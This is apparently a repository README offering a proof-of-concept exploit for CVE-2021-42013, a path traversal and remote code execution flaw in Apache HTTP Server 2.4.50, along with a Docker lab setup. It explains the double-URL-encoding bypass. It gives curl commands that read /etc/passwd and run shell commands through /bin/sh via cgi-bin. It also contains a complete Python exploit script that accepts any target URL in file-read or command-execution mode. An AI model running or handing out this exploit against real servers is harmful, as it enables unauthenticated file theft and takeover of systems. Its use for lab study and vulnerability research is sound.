eunho87/cve-2021-42013Proof-of-concept exploit for CVE-2021-42013 Apache HTTP Server path traversal and remote code execution vulnerability, with Docker-based lab environment and Python PoC script.
Contributor
A bug in the path normalization handling of Apache HTTP Server 2.4.50 allows arbitrary file reading or remote code execution without authentication.
This occurs due to an incomplete patch for CVE-2021-41773, bypassing Apache's path blocking through double URL encoding (%%32%65).
For CVE-2021-42013 to be exploitable, the following conditions must be met:
docker-compose up -d
Run the following command to verify the test environment is running:
docker-compose ps
If the server is running normally, you can access http://localhost:8080.
Apache blocks the use of ../ to traverse to parent directories. To bypass this, the encoded value of . can be used instead: 2e. However, Apache 2.4.50 decodes %2e before checking, so %2e2e would be blocked just like ../. Therefore, double encoding with %%32%65 must be used to bypass the filter.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
In a CGI-capable environment, RCE is possible by replacing the last part with /bin/sh.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
docker-compose down